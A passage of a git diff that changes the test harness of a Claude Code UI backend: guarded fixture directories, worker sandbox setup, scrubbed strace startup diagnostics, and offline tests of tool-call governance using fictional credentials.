symlinkSync, writeFileSync } from "node:fs"; -import { tmpdir } from "node:os"; +import { chmodSync, existsSync, linkSync, readFileSync, readdirSync, rmSync, symlinkSync, writeFileSync } from "node:fs"; import { join } from "node:path"; import { createHash } from "node:crypto"; import * as crypto from "node:crypto"; @@ -21,8 +21,8 @@ const refresh = "odysseus-fictional-refresh"; const fresh = () => ({ accessToken: secret, refreshToken: refresh, expiresAt: Date.now() + 3_600_000, scopes: ["user:inference", "user:profile"], subscriptionType: "max", rateLimitTier: "default_claude_max_5x", clientId: "odysseus-client" }); function fixture(auth: Record = fresh()) { - const root = mkdtempSync(join(tmpdir(), "odysseus-host-oauth-")); roots.push(root); - const directory = mkdtempSync(join(tmpdir(), "odysseus-host-auth-domain-")); roots.push(directory); domains.set(root, { directory }); + const root = nativeFixtureDirectory("odysseus-host-oauth-"); roots.push(root); + const directory = nativeFixtureDirectory("odysseus-host-auth-domain-"); roots.push(directory); domains.set(root, { directory }); const path = join(root, ".credentials.json"); writeFileSync(path, JSON.stringify({ unrelated: { retained: true }, claudeAiOauth: auth }), { mode: 0o600 }); return { root, path }; diff --git a/packages/ui-backend-claude/tests/native-hosted-runtime.test.ts b/packages/ui-backend-claude/tests/native-hosted-runtime.test.ts index 2eda40e314..59f85c01cd 100644 --- a/packages/ui-backend-claude/tests/native-hosted-runtime.test.ts +++ b/packages/ui-backend-claude/tests/native-hosted-runtime.test.ts @@ -1,8 +1,8 @@ +import { nativeFixtureDirectory } from "../../../scripts/test-native-guard.ts"; import { nativeScriptedService } from "../../../scripts/test-native-guard.ts"; /** Production SDK options and isolated worker, real CLI tools, scripted loopback inference. */ import { expect, test } from "bun:test"; -import { mkdirSync, mkdtempSync, readFileSync, rmSync, statSync, utimesSync, writeFileSync } from "node:fs"; -import { tmpdir } from "node:os"; +import { mkdirSync, readFileSync, rmSync, statSync, utimesSync, writeFileSync } from "node:fs"; import { join } from "node:path"; import { query, type HookCallback, type SDKMessage } from "@anthropic-ai/claude-agent-sdk"; import { createKeyedLock, type ServerMessage } from "@schlessera/brain-ui-sdk/server"; @@ -25,7 +25,7 @@ let registeredTools: string | undefined; for (const toolName of ["Write", "Edit", "NotebookEdit"] as const) for (const mode of ["stale", "fresh", "strict", "voice"] as const) test(`hosted real Claude ${toolName}: ${mode}`, async () => { const reread = mode === "fresh", recovered = mode === "fresh"; const refused = mode === "strict" || mode === "voice"; - const root = mkdtempSync(join(tmpdir(), "odysseus-native-stale-")), brain = join(root, "brain"), home = join(root, "home"); + const root = nativeFixtureDirectory("odysseus-native-stale-"), brain = join(root, "brain"), home = join(root, "home"); mkdirSync(brain); mkdirSync(home); const notebook = (source: string) => JSON.stringify({ cells: [{ cell_type: "code", id: "loom", metadata: {}, source: [source], outputs: [], execution_count: null }], metadata: {}, nbformat: 4, nbformat_minor: 5 }); const path = join(brain, toolName === "NotebookEdit" ? "loom.ipynb" : "loom.md"), before = toolName === "NotebookEdit" ? notebook("Penelope weaves.\n") : "Penelope weaves.\n", peer = toolName === "NotebookEdit" ? notebook("Penelope sleeps.\n") : "Penelope sleeps.\n"; diff --git a/packages/ui-backend-claude/tests/native-restart-versions.test.ts b/packages/ui-backend-claude/tests/native-restart-versions.test.ts index a53c6e7018..edb069d5bd 100644 --- a/packages/ui-backend-claude/tests/native-restart-versions.test.ts +++ b/packages/ui-backend-claude/tests/native-restart-versions.test.ts @@ -1,8 +1,8 @@ +import { nativeFixtureDirectory } from "../../../scripts/test-native-guard.ts"; import { nativeScriptedService } from "../../../scripts/test-native-guard.ts"; /** Actual installed native tools through the production runner; only the worker transport is replaced. */ import { expect, spyOn, test } from "bun:test"; -import { mkdirSync, mkdtempSync, readFileSync, rmSync, statSync, utimesSync, writeFileSync } from "node:fs"; -import { tmpdir } from "node:os"; +import { mkdirSync, readFileSync, rmSync, statSync, utimesSync, writeFileSync } from "node:fs"; import { join } from "node:path"; import { query, type Options } from "@anthropic-ai/claude-agent-sdk"; import { createWorkerFileObserver, workerHostBoundary } from "@schlessera/brain-ui-sdk/internal"; @@ -13,7 +13,7 @@ import { MEASURED_RUNTIME } from "../src/measured-runtime"; import { nativeModelReply } from "./helpers/native-model-reply"; for (const tool of ["Write", "Edit", "NotebookEdit"] as const) test(`restarted Claude runner restores native observations before actual ${tool}`, async () => { - const root = mkdtempSync(join(tmpdir(), "odysseus-claude-restart-")), brain = join(root, "brain"), home = join(root, "home"); + const root = nativeFixtureDirectory("odysseus-claude-restart-"), brain = join(root, "brain"), home = join(root, "home"); mkdirSync(brain); mkdirSync(home); const notebook = (source: string) => JSON.stringify({ cells: [{ cell_type: "code", id: "loom", metadata: {}, source: [source], outputs: [], execution_count: null }], metadata: {}, nbformat: 4, nbformat_minor: 5 }); const path = join(brain, tool === "NotebookEdit" ? "loom.ipynb" : "loom.md"), peer = tool === "NotebookEdit" ? notebook("Penelope sleeps.\n") : "Penelope sleeps.\n"; diff --git a/packages/ui-backend-claude/tests/native-stale-write.test.ts b/packages/ui-backend-claude/tests/native-stale-write.test.ts index e3b1fe1cf5..0a75755001 100644 --- a/packages/ui-backend-claude/tests/native-stale-write.test.ts +++ b/packages/ui-backend-claude/tests/native-stale-write.test.ts @@ -1,8 +1,8 @@ +import { nativeFixtureDirectory } from "../../../scripts/test-native-guard.ts"; import { nativeScriptedService } from "../../../scripts/test-native-guard.ts"; /** Real installed CLI file tools, a scripted loopback model, and fictional credentials only. */ import { expect, test } from "bun:test"; -import { mkdirSync, mkdtempSync, readFileSync, rmSync, statSync, utimesSync, writeFileSync } from "node:fs"; -import { tmpdir } from "node:os"; +import { mkdirSync, readFileSync, rmSync, statSync, utimesSync, writeFileSync } from "node:fs"; import { join } from "node:path"; import { query, type HookCallback, type SDKMessage } from "@anthropic-ai/claude-agent-sdk"; import { createKeyedLock, type ServerMessage } from "@schlessera/brain-ui-sdk/server"; @@ -15,7 +15,7 @@ import { nativeModelReply as reply } from "./helpers/native-model-reply"; for (const toolName of ["Write", "Edit", "NotebookEdit"] as const) for (const mode of (toolName === "NotebookEdit" ? ["stale"] : ["stale", "cached", "fresh"]) as readonly ("stale" | "cached" | "fresh")[]) test(`real Claude ${toolName} ${mode === "fresh" ? "recovers after a fresh read" : mode === "cached" ? "does not refresh a hash from a cached unchanged read" : "refuses a byte-stale file even when its mtime was preserved"}`, async () => { const reread = mode !== "stale", recovered = mode === "fresh"; - const root = mkdtempSync(join(tmpdir(), "odysseus-native-stale-")), brain = join(root, "brain"), home = join(root, "home"); + const root = nativeFixtureDirectory("odysseus-native-stale-"), brain = join(root, "brain"), home = join(root, "home"); mkdirSync(brain); mkdirSync(home); const notebook = (source: string) => JSON.stringify({ cells: [{ cell_type: "code", id: "loom", metadata: {}, source: [source], outputs: [], execution_count: null }], metadata: {}, nbformat: 4, nbformat_minor: 5 }); const path = join(brain, toolName === "NotebookEdit" ? "loom.ipynb" : "loom.md"), before = toolName === "NotebookEdit" ? notebook("Penelope weaves.\n") : "Penelope weaves.\n", peer = toolName === "NotebookEdit" ? notebook("Penelope sleeps.\n") : "Penelope sleeps.\n"; diff --git a/packages/ui-backend-claude/tests/subscription-billing.test.ts b/packages/ui-backend-claude/tests/subscription-billing.test.ts index b340bb5ad1..749d35ec3f 100644 --- a/packages/ui-backend-claude/tests/subscription-billing.test.ts +++ b/packages/ui-backend-claude/tests/subscription-billing.test.ts @@ -1,5 +1,6 @@ +import { nativeFixtureDirectory } from "../../../scripts/test-native-guard.ts"; import { nativeScriptedService } from "../../../scripts/test-native-guard.ts"; -import { createFixtureWorkerStartupView } from "../../ui-sdk/tests/helpers/worker-startup-view-fixture.js"; +import { createFixtureWorkerStartupView, prepareFixtureWorkerSandbox } from "../../ui-sdk/tests/helpers/worker-startup-view-fixture.js"; import { mockWorkerHostForSdkStream } from "./helpers/worker-host.js"; /** * A Claude turn on a profile with no credential of its own runs on the @@ -16,8 +17,7 @@ import { mockWorkerHostForSdkStream } from "./helpers/worker-host.js"; */ import { afterAll, afterEach, beforeAll, describe, expect, test } from "bun:test"; -import { existsSync, mkdirSync, mkdtempSync, rmSync, writeFileSync } from "node:fs"; -import { tmpdir } from "node:os"; +import { existsSync, mkdirSync, rmSync, writeFileSync } from "node:fs"; import { join } from "node:path"; import { query, type SDKMessage } from "@anthropic-ai/claude-agent-sdk"; import type { BackendActivityEvent, BackendBridge, ServerMessage } from "@schlessera/brain-ui-sdk/server"; @@ -77,7 +77,7 @@ afterEach(() => { }); function tempDir(prefix: string): string { - const dir = mkdtempSync(join(tmpdir(), prefix)); + const dir = nativeFixtureDirectory(prefix); scratch.push(dir); return dir; } @@ -165,7 +165,7 @@ async function runTurn( log: () => {}, }); const workerStartupView = createFixtureWorkerStartupView(brainPath); - try { await backend.startTurn({ workerStartupView, + try { await backend.startTurn({ workerStartupView, workerSandbox: prepareFixtureWorkerSandbox(brainPath, { home: process.env.HOME, areas: [] }), prompt: "Reply with the single word ok.", signal: new AbortController().signal, bridge, diff --git a/packages/ui-sdk/tests/fixtures/native-worker-startup-diagnostics.ts b/packages/ui-sdk/tests/fixtures/native-worker-startup-diagnostics.ts index c344506ca9..9deb7143b0 100644 --- a/packages/ui-sdk/tests/fixtures/native-worker-startup-diagnostics.ts +++ b/packages/ui-sdk/tests/fixtures/native-worker-startup-diagnostics.ts @@ -11,7 +11,7 @@ interface BootstrapStatus { exitCode: number | null; signalCode: string | number export function observeNativeWorkerStartup(worker: StartupWorker, bootstrap: BootstrapStatus, secrets: readonly string[]): void { const redactor=createRedactor(undefined);for(const secret of secrets)redactor.add(secret); // These are the existing outcome/log and Activity/provider-receipt scrubbers. - const scrub=(text:string)=>redactProviderMessage(redactCredentials(redactor.text(text))); + const scrub=(text:string)=>redactProviderMessage(redactCredentials(redactor.text(text.replace(/^[ \t]*(?:Args|Arguments|argv|Env|Environment):[^\n]*(?:\n|$)/gim,"[redacted startup metadata]\n")))); const chunks:Buffer[]=[];let retained=0,observed=0,flushed=false; const data=(chunk:Buffer|string)=>{ const bytes=Buffer.isBuffer(chunk)?chunk:Buffer.from(chunk);observed+=bytes.length; diff --git a/packages/ui-sdk/tests/fixtures/ordinary-identity-root.ts b/packages/ui-sdk/tests/fixtures/ordinary-identity-root.ts index 978308b0a2..71ddce453a 100644 --- a/packages/ui-sdk/tests/fixtures/ordinary-identity-root.ts +++ b/packages/ui-sdk/tests/fixtures/ordinary-identity-root.ts @@ -209,6 +209,13 @@ if (process.argv[2] === "--index-child") { phase ? retainFixtureStream(child.stderr, `/proof/${sharedGit ? "shared-git" : "default"}-${phase}-server.stderr`) : new Response(child.stderr).text().then((text): Awaited> => ({ text })), child.exited]); if (capturedOutput.failure) throw capturedOutput.failure.error; if (capturedErrors.failure) throw capturedErrors.failure.error; + if (phase === "fresh" && !sharedGit) { + const auditRoot = "/identity-server-private/server-ws"; + if (existsSync(auditRoot)) for (const name of readdirSync(auditRoot).filter(name => /^native-startup-audit-[0-9]+\.json$/.test(name))) { + // The guard already bounded/scrubbed this snapshot before raw audit cleanup. + writeFileSync(join("/proof", name), readFileSync(join(auditRoot, name)), { mode: 0o600 }); + } + } const output = capturedOutput.text, errors = capturedErrors.text; aggregateOutput += output; aggregateErrors += errors; writeFileSync("/proof/server.stdout", aggregateOutput); writeFileSync("/proof/server.stderr", aggregateErrors); diff --git a/packages/ui-sdk/tests/fixtures/ordinary-identity-ws.ts b/packages/ui-sdk/tests/fixtures/ordinary-identity-ws.ts index 67565f4868..1766bafe75 100644 --- a/packages/ui-sdk/tests/fixtures/ordinary-identity-ws.ts +++ b/packages/ui-sdk/tests/fixtures/ordinary-identity-ws.ts @@ -37,6 +37,8 @@ stage("module-loaded"); const brain = "/brain-fixture/brain", root = profile === "strict" ? "/identity-server-private/server-ws-strict" : "/identity-server-private/server-ws"; const home = join(root, "home"), config = join(home, ".claude"), data = root; mkdirSync(data, { mode: 0o700, recursive: true }); mkdirSync(config, { recursive: true, mode: 0o700 }); +// Temporary diagnosis of the fresh separate-UID startup; only sanitized tails persist. +if (defaultIdentityPhase(process.argv.slice(2)) === "fresh") process.argv.push(`--native-identity-startup-audit=${data}`); // Actual separate-UID fixture: directory metadata is shared, file bytes are not. const privateRoot=join(brain,"private"); if (existsSync(privateRoot)) { diff --git a/packages/ui-sdk/tests/helpers/worker-startup-view-fixture.ts b/packages/ui-sdk/tests/helpers/worker-startup-view-fixture.ts index b8c76b9721..b4b039276f 100644 --- a/packages/ui-sdk/tests/helpers/worker-startup-view-fixture.ts +++ b/packages/ui-sdk/tests/helpers/worker-startup-view-fixture.ts @@ -1,4 +1,4 @@ -import {nativeFixtureDirectory} from "../../../../scripts/test-native-guard.ts"; +import {nativeFixtureDirectory, registerNativeFixtureKeeper} from "../../../../scripts/test-native-guard.ts"; /** Immutable configuration execution inputs. No git, imports, links followed or shared inodes. */ import { closeSync, constants, fstatSync, lstatSync, mkdirSync, mkdtempSync, openSync, readdirSync, readlinkSync, readSync, rmdirSync, unlinkSync, symlinkSync, writeSync, chmodSync, fchmodSync, ftruncateSync, futimesSync, utimesSync, writeFileSync } from "node:fs"; @@ -211,7 +211,9 @@ export function prepareFixtureWorkerOutput(brain: string, options: Parameters void; + try { unregister=registerNativeFixtureKeeper(output.output.storage!); } catch(error) { output.cleanup(); throw error; } + return { ...output, cleanup() { try { output.cleanup(); } finally { try { unregister(); } finally { if (!options.startupView) view.cleanup(); } } } }; } catch (error) { if (!options.startupView) view.cleanup(); throw error; } } @@ -222,11 +224,13 @@ export async function prepareFixtureNativeWorkerOutput(brain: string, options: { let publication: ReturnType; try { publication = prepareWorkerOutput(brain, { startupView: view, areas: options.areas }); } catch (error) { await view.cleanup(); throw error; } + let unregister: () => void; + try { unregister=registerNativeFixtureKeeper(publication.output.storage!); } catch(error) { try { await publication.cleanup(); } finally { await view.cleanup(); } throw error; } let cleanup: Promise | undefined; return { view, output: publication.output, async publish() { publication.publish(); }, async publishLocked(lock) { await publication.publishLocked(lock); }, - cleanup() { return cleanup ??= (async () => { try { await publication.cleanup(); } finally { await view.cleanup(); } })(); }, + cleanup() { return cleanup ??= (async () => { try { await publication.cleanup(); } finally { try { unregister(); } finally { await view.cleanup(); } } })(); }, }; } diff --git a/packages/ui-server/tests/bundled-claude.test.ts b/packages/ui-server/tests/bundled-claude.test.ts index 9a5b8df064..fa4e82fb91 100644 --- a/packages/ui-server/tests/bundled-claude.test.ts +++ b/packages/ui-server/tests/bundled-claude.test.ts @@ -1,5 +1,6 @@ +import { nativeFixtureDirectory } from "../../../scripts/test-native-guard.ts"; import { nativeScriptedService } from "../../../scripts/test-native-guard.ts"; -import { createFixtureWorkerStartupView } from "../../ui-sdk/tests/helpers/worker-startup-view-fixture.js"; +import { createFixtureWorkerStartupView, prepareFixtureWorkerSandbox } from "../../ui-sdk/tests/helpers/worker-startup-view-fixture.js"; /** * With `CLAUDE_CODE_PATH` unset, a turn runs the Agent SDK's built-in Claude * Code binary (#213, docs/decisions/claude-code-runtime.md, "The decision"). @@ -14,8 +15,7 @@ import { createFixtureWorkerStartupView } from "../../ui-sdk/tests/helpers/worke * real against a loopback server with bogus credentials only. */ import { afterAll, afterEach, beforeAll, describe, expect, test } from "bun:test"; -import { chmodSync, mkdirSync, mkdtempSync, rmSync, writeFileSync } from "node:fs"; -import { tmpdir } from "node:os"; +import { chmodSync, mkdirSync, rmSync, writeFileSync } from "node:fs"; import { join } from "node:path"; import type { BackendActivityEvent, BackendBridge } from "@schlessera/brain-ui-sdk/server"; @@ -70,7 +70,7 @@ afterEach(() => { }); function tempDir(prefix: string): string { - const dir = mkdtempSync(join(tmpdir(), prefix)); + const dir = nativeFixtureDirectory(prefix); scratch.push(dir); return dir; } @@ -112,7 +112,7 @@ async function productionTurn(brainPath: string): Promise activity.push(event), }; const workerStartupView = createFixtureWorkerStartupView(brainPath); - try { await backend.startTurn({ workerStartupView, prompt: "Reply with the single word ok.", signal: new AbortController().signal, bridge }); } + try { await backend.startTurn({ workerStartupView, workerSandbox: prepareFixtureWorkerSandbox(brainPath, { home: process.env.HOME, areas: [] }), prompt: "Reply with the single word ok.", signal: new AbortController().signal, bridge }); } finally { workerStartupView.cleanup(); } return activity; } @@ -120,7 +120,7 @@ async function productionTurn(brainPath: string): Promise string[] } { // /tmp is fresh inside the worker; this fixture executable stays read-only. - const dir = mkdtempSync(join(tmpdir(), "bundled-wrapper-")); + const dir = nativeFixtureDirectory("bundled-wrapper-"); scratch.push(dir); const wrapper = join(dir, "wrapper"); const report = `await fetch("http://127.0.0.1:${server.port}/fixture-command", {method:"POST", body:process.argv.at(-1)});`; diff --git a/packages/ui-server/tests/safety-native-delivery.test.ts b/packages/ui-server/tests/safety-native-delivery.test.ts index edd8d81c2e..a03f649a09 100644 --- a/packages/ui-server/tests/safety-native-delivery.test.ts +++ b/packages/ui-server/tests/safety-native-delivery.test.ts @@ -1,3 +1,4 @@ +import { nativeFixtureDirectory } from "../../../scripts/test-native-guard.ts"; import {nativeScriptedService} from "../../../scripts/test-native-guard.ts"; /** Installed Claude file tools against a scripted loopback model and the real host ledger. */ import {expect,test} from "bun:test"; @@ -6,9 +7,8 @@ import {startInferenceRelay,ANTHROPIC_INFERENCE_ROUTES} from "@schlessera/brain- import {resolveGovernancePolicy} from "@schlessera/brain-common/internal/governance-policy"; import {prepareTurnEgress} from "../src/brain/turn-egress"; import {query} from "@anthropic-ai/claude-agent-sdk"; -import {mkdirSync,mkdtempSync,rmSync,writeFileSync} from "node:fs"; +import {mkdirSync,rmSync,writeFileSync} from "node:fs"; import {join} from "node:path"; -import {tmpdir} from "node:os"; import {createUiDb} from "../src/db/client"; import {openSqliteWriter} from "../src/db/write-worker"; import * as probe from "./fixtures/write-worker-probe"; @@ -20,7 +20,7 @@ import {MEASURED_RUNTIME} from "../../ui-backend-claude/src/measured-runtime"; import {nativeModelReply} from "../../ui-backend-claude/tests/helpers/native-model-reply"; for(const mode of ["complete","writer-loss"] as const)test(`installed Claude ${mode} preserves the recorder delivery boundary`,async()=>{ - const root=mkdtempSync(join(tmpdir(),"odysseus-safety-native-")),brain=join(root,"brain"),home=join(root,"home"); + const root=nativeFixtureDirectory("odysseus-safety-native-"),brain=join(root,"brain"),home=join(root,"home"); mkdirSync(join(brain,"workspaces","voyage"),{recursive:true});mkdirSync(home); const path=join(brain,"workspaces","voyage","raft.md");writeFileSync(path,"Odysseus repairs the raft.\n"); const db=createUiDb(join(root,"ui.db")),writer=openSqliteWriter(db),writes=createGovernanceWrites(db,writer),controller=new AbortController(); diff --git a/packages/ui-server/tests/safety-result-retention.test.ts b/packages/ui-server/tests/safety-result-retention.test.ts index bc06e5b754..d5b89573e8 100644 --- a/packages/ui-server/tests/safety-result-retention.test.ts +++ b/packages/ui-server/tests/safety-result-retention.test.ts @@ -1,3 +1,4 @@ +import { nativeFixtureDirectory } from "../../../scripts/test-native-guard.ts"; import {searchWitnessScript} from "./helpers/search-witness"; import {nativeScriptedService} from "../../../scripts/test-native-guard.ts"; /** A tool result that reaches the host already exists in the runtime's own @@ -9,10 +10,9 @@ import {nativeScriptedService} from "../../../scripts/test-native-guard.ts"; * still owing it when the collection ends is a gap. Installed Claude, a * scripted loopback model and the real host ledger; no key, no network. */ import {expect,test} from "bun:test"; -import {chmodSync,existsSync,mkdirSync,mkdtempSync,readFileSync,rmSync,symlinkSync,writeFileSync} from "node:fs"; +import {chmodSync,existsSync,mkdirSync,readFileSync,rmSync,symlinkSync,writeFileSync} from "node:fs"; import {createRequire} from "node:module"; import {join} from "node:path"; -import {tmpdir} from "node:os"; import {query} from "@anthropic-ai/claude-agent-sdk"; import {createUiDb} from "../src/db/client"; import {openSqliteWriter} from "../src/db/write-worker"; @@ -61,7 +61,7 @@ function modelCalls(calls:{name:string;id:string;input:Record}[] } async function voyageHome(interruption:Interruption,check:(f:{db:ReturnType;writes:ReturnType; first:{results:number;failures:number;aborted:boolean;indexWaits:number;admitted:number;cards:number;refusals:number};searched:boolean;searchInvoked:boolean;replayed:string[]})=>void){ - const root=mkdtempSync(join(tmpdir(),"odysseus-safety-retention-")),brain=join(root,"brain"),home=join(root,"home"); + const root=nativeFixtureDirectory("odysseus-safety-retention-"),brain=join(root,"brain"),home=join(root,"home"); // A note: reading it records nothing before the tool runs, so only the // search output's own record stands between it and a complete chat. mkdirSync(join(brain,"notes"),{recursive:true});mkdirSync(home); @@ -287,7 +287,7 @@ test("a denial of another tool under the search's id cannot settle the search th * call's own hook, which never saw the id, denies it, in the runtime's own * hook order or with the hook both tools share starting late. */ for(const late of [false,true])test(`a denied shell call reusing a search's id cannot settle the search that ran${late?", even when the shared hook starts late":""}`,async()=>{ - const root=mkdtempSync(join(tmpdir(),"odysseus-safety-retool-")),brain=join(root,"brain"),home=join(root,"home"); + const root=nativeFixtureDirectory("odysseus-safety-retool-"),brain=join(root,"brain"),home=join(root,"home"); mkdirSync(join(brain,"notes"),{recursive:true});mkdirSync(home); const path=join(brain,"notes","sirens.md");writeFileSync(path,`${SONG}\n`); const db=createUiDb(join(root,"ui.db")),writer=openSqliteWriter(db),writes=createGovernanceWrites(db,writer); diff --git a/scripts/test-native-guard.ts b/scripts/test-native-guard.ts index f3223cef41..eb851c70bd 100644 --- a/scripts/test-native-guard.ts +++ b/scripts/test-native-guard.ts @@ -1,13 +1,10 @@ /** Test-only OS boundary for installed native Claude processes (#4313). */ -import { chmodSync, closeSync, mkdirSync, existsSync, lstatSync, openSync, readFileSync, readSync, readdirSync, statSync, mkdtempSync, readlinkSync, realpathSync, rmSync, writeFileSync } from "node:fs"; +import { cpSync, fstatSync, statfsSync, chmodSync, closeSync, mkdirSync, existsSync, lstatSync, openSync, readFileSync, readSync, readdirSync, statSync, mkdtempSync, readlinkSync, realpathSync, rmSync, writeFileSync } from "node:fs"; import { AsyncLocalStorage } from "node:async_hooks"; import { createHash } from "node:crypto"; import { createRequire } from "node:module"; import { tmpdir } from "node:os"; import { basename, dirname, join, resolve } from "node:path"; -import { redactCredentials } from "../packages/ui-server/src/activity/runtime-status"; -import { redactProviderMessage } from "../packages/ui-react/src/lib/turn-failure"; -import { createRedactor } from "../packages/compute-boat/src/redact"; import type { query as sdkQuery } from "@anthropic-ai/claude-agent-sdk"; const ROOT = resolve(import.meta.dir, ".."); @@ -144,6 +141,9 @@ export function isNativeClaude(command: string, args: readonly unknown[] = [], o function refuse(reason: string, mountEvidence?: Record, compilerStderr?: string): never { denied++; + // SDK callers may await an event that a refused launch can never emit. + // End this failed test invocation after synchronous callers see the error. + setImmediate(() => process.exit(1)); // Classifications and mount evidence omit arguments/settings/credentials. // Compiler diagnostics are bounded and scrubbed before reaching this receipt. console.error(JSON.stringify({ kind: "native-offline-boundary", success: false, nativeLaunched: false, reason, head: nativeTestHead(), ...(mountEvidence ? { mountEvidence } : {}), ...(compilerStderr !== undefined ? { compilerStderr } : {}) })); @@ -183,12 +183,25 @@ function qualify(): void { } export const RTK_SOCKET_POLICY = "/usr/local/bin/brain-native-connect"; +// Isolated preload fixtures copy only the guard closure. Load the existing +// receipt scrubbers only for diagnostics, and never fall back to raw text. +function diagnosticRedactors() { + const require = createRequire(import.meta.url); + return { + createRedactor: (require("../packages/compute-boat/src/redact.ts") as typeof import("../packages/compute-boat/src/redact")).createRedactor, + redactCredentials: (require("../packages/ui-server/src/activity/runtime-status.ts") as typeof import("../packages/ui-server/src/activity/runtime-status")).redactCredentials, + redactProviderMessage: (require("../packages/ui-react/src/lib/turn-failure.ts") as typeof import("../packages/ui-react/src/lib/turn-failure")).redactProviderMessage, + }; +} function compilerDiagnostic(value: string): string { + try { + const {createRedactor,redactCredentials,redactProviderMessage}=diagnosticRedactors(); const redactor = createRedactor(undefined); for (const [key, secret] of Object.entries(process.env)) if (/secret|token|password|credential|api.?key/i.test(key) && secret) redactor.add(secret); let text = Buffer.from(value).subarray(0, 4096).toString("utf8"); if (Buffer.byteLength(value) > 4096) text = text.slice(0, Math.max(0, text.lastIndexOf("\n"))); return redactProviderMessage(redactCredentials(redactor.text(text))).slice(0, 4096); + } catch { return "[diagnostic redaction unavailable]"; } } /** Compile in the outer test process; RTK re-entry receives only this artifact. */ export function compileSocketPolicy(): string { @@ -322,7 +335,25 @@ function auditAcl(operation: "set" | "check", uid: number, directory: string, lo catch { return false; } } +/** Fixture-only tail: no syscall buffers, exec arguments or environment survive. */ +export function scrubNativeStartupTrace(trace: string): string { + try { + const {createRedactor,redactCredentials,redactProviderMessage}=diagnosticRedactors(); + let tail = trace.slice(-65536); + if (trace.length > tail.length) tail = tail.includes("\n") ? tail.slice(tail.indexOf("\n") + 1) : ""; + tail = tail.split("\n").map(line => line.replace(/\bexecve(?:at)?\(.*$/, "execve([arguments omitted])")).join("\n"); + const redactor = createRedactor(undefined); + for (const [key, secret] of Object.entries(process.env)) if (/secret|token|password|credential|api.?key/i.test(key) && secret) redactor.add(secret); + return redactProviderMessage(redactCredentials(redactor.text(tail))).slice(-65536); + } catch { return "[diagnostic redaction unavailable]"; } +} + export function auditNativeLaunch(argv: string[], expected: readonly string[], cleanup: () => void, workerUid?: number) { + const diagnosticRoot = workerUid === undefined ? undefined : process.argv.find(value => value.startsWith("--native-identity-startup-audit="))?.slice("--native-identity-startup-audit=".length); + if (diagnosticRoot) { + const info = lstatSync(diagnosticRoot); + if (!info.isDirectory() || info.uid !== process.getuid?.() || (info.mode & 0o077)) refuse("native startup audit storage is not private"); + } const directory = mkdtempSync(join(tmpdir(), "odysseus-native-audit-")); const log = join(directory, "connect.log"); writeFileSync(log, "", { mode: 0o600 }); @@ -351,17 +382,25 @@ export function auditNativeLaunch(argv: string[], expected: readonly string[], c } let trace = ""; try { trace = readFileSync(log, "utf8"); } catch { /* Missing evidence is a failed receipt. */ } - const nativeLaunched = nativeExecObserved(trace, expected); + if (diagnosticRoot) { + try { writeFileSync(join(diagnosticRoot, `native-startup-audit-${directoryStamp.ino}.json`), + JSON.stringify({ kind: "native-fixture-startup-audit", head: nativeTestHead(), text: scrubNativeStartupTrace(trace) }), { flag: "wx", mode: 0o600 }); } + catch { console.error(JSON.stringify({kind:"native-fixture-startup-audit-failure",head:nativeTestHead(),success:false,reason:"startup audit snapshot unavailable"})); } + } + // Wider diagnostics may contain syscall-looking filenames; only actual + // connect/exec records participate in the security receipt. + const auditTrace = diagnosticRoot ? trace.split("\n").filter(line => /^\s*(?:[0-9]+\s+)?(?:execve\(|connect\(|<\.\.\. connect resumed>)/.test(line)).join("\n") : trace; + const nativeLaunched = nativeExecObserved(auditTrace, expected); if (!nativeLaunched) denied++; receipt = { kind: "native-offline-audit", head: nativeTestHead(), nativeLaunched, success: nativeLaunched, - ...(!nativeLaunched ? { reason: "native exec was not observed" } : {}), deniedConnects: deniedNativeConnects(trace) }; + ...(!nativeLaunched ? { reason: "native exec was not observed" } : {}), deniedConnects: deniedNativeConnects(auditTrace) }; console.error(JSON.stringify(receipt)); return receipt; } finally { cleanup(); rmSync(directory, { recursive: true, force: true }); } }; // -o otherwise makes strace ignore SIGTERM; refusal/cancellation must kill // both the tracer and its entire traced sandbox, closing inherited pipes. - return { argv: [straceExecutable, "-I", "1", "--kill-on-exit", "-f", "-qq", "-s", "0", "-e", "trace=connect,execve", "-e", "raw=connect", "-o", log, "--", ...argv], + return { argv: [straceExecutable, "-I", "1", "--kill-on-exit", "-f", "-qq", "-s", "0", "-e", diagnosticRoot ? "trace=connect,%file,%process,mmap,mprotect,munmap,brk,prlimit64,getrlimit,prctl,io_uring_setup,pidfd_open,pidfd_getfd,rt_sigaction,rt_sigprocmask,sched_getaffinity,rseq,futex" : "trace=connect,execve", "-e", "raw=connect", "-o", log, "--", ...argv], dispose() { finish(); }, receipt: finish }; } @@ -627,7 +666,7 @@ function mountInputEvidence(input: string, destination: string, index: number, e } /** Validate the same bind-source inventory used to construct the native view. */ -function assertNativeMountSockets(mounts: readonly string[], origin: string): void { +function assertNativeMountSockets(mounts: readonly string[], origin: string, keeper?: KeeperInspection): void { const roots: string[] = []; for (let i = 0; i < mounts.length; i++) { const flag = mounts[i]!; @@ -636,7 +675,7 @@ function assertNativeMountSockets(mounts: readonly string[], origin: string): vo const input = mounts[i + 1]!, destination = resolve(mounts[i + 2]!); if (FORBIDDEN_BIND_ROOTS.has(resolve(input)) || FORBIDDEN_BIND_ROOTS.has(destination)) refuse("native bind exposes a forbidden host service root"); let source: string; - try { source = realpathSync(input); } catch(error) { refuse("native mount source is unavailable",mountInputEvidence(input,destination,i,error,scriptedRoute.getStore()?.fixtureRoots)); } + try { source = inspectedWorkerSource(input, keeper); } catch(error) { refuse("native mount source is unavailable",mountInputEvidence(input,destination,i,error,scriptedRoute.getStore()?.fixtureRoots)); } if (FORBIDDEN_BIND_ROOTS.has(source)) refuse("native bind exposes a forbidden host service root"); const system = [...SYSTEM, ...SYSTEM_FILES].some(path => { try { return destination === path && source === realpathSync(path); } catch { return false; } @@ -720,6 +759,66 @@ export function nativeFixtureDirectory(prefix: string): string { const info=lstatSync(root,{bigint:true});createdFixtureRoots.set(root,{dev:info.dev,ino:info.ino});return root; } +interface FixtureKeeper { mount: string; namespacePid: number; namespaceStart: string; root: string } +interface KeeperInspection { mount: string; snapshot: string; refresh(): void } +const guardedChildren = new Map(); +const fixtureKeepers = new Map(); +function processStart(pid: number): string { return readFileSync(`/proc/${pid}/stat`, "utf8").replace(/^.*\) /s, "").split(" ")[19]!; } +/** Called only by the installed test spawn interceptor, never by product code. */ +export function recordNativeGuardChild(child: { pid: number; exited: Promise }): void { + let start: string; try { start = processStart(child.pid); } catch { return; } + guardedChildren.set(child.pid, start); + void child.exited.finally(() => { if (guardedChildren.get(child.pid) === start) guardedChildren.delete(child.pid); }).catch(() => {}); +} +/** Fixture-owned output descriptor plus a live, guard-observed 